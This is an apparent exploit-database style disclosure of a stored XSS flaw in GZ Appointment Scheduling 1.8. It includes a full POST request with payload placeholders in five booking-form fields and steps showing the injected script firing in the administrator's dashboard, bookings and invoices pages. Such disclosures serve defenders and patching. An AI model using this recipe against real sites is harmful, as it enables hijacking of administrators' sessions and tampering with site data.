GZ Appointment Scheduling 1.8 Cross Site Scripting

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││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
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 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
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┌┘                                  [ Vulnerability ]                                   ┌┘
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:  Author   : CraCkEr                                                                    :
│  Website  : https://gzscripts.com/php-gz-appointment-scheduling-script.html            │
│  Vendor   : GZ Scripts                                                                 │
│  Software : GZ Appointment Scheduling 1.8                                              │
│  Vuln Type: Stored XSS                                                                 │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
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:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│                                                                                        │
│  Allow Attacker to inject malicious code into website, give ability to steal sensitive │
│  information, manipulate data, and launch additional attacks.                          │
│                                                                                        │   
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Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09  

  CryptoJob (Twitter) twitter.com/0x0CryptoJob

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┌┘                                    © CraCkEr 2023                                    ┌┘
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## Stored XSS

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POST /PHPGZAppointment/load.php?controller=GzFront&action=step5 HTTP/1.1

service_id=1&employee_id=1&timeslot=1688119200&lang=3&date=2023-06-30&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=murimy&terms=1&lang=3
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POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Choose any [Employee] & Select the Day and the Time
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"


7. Accept with terms & Press [Booking]
   XSS Fired on Local User Browser

8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php#!/GzAdmin/home/)
   XSS Will Fire and Executed on his Browser

9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php#!/GzBooking/index/)
   XSS Will Fire and Executed on his Browser

10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php#!/GzInvoice/index/)
    XSS Will Fire and Executed on his Browser


[-] Done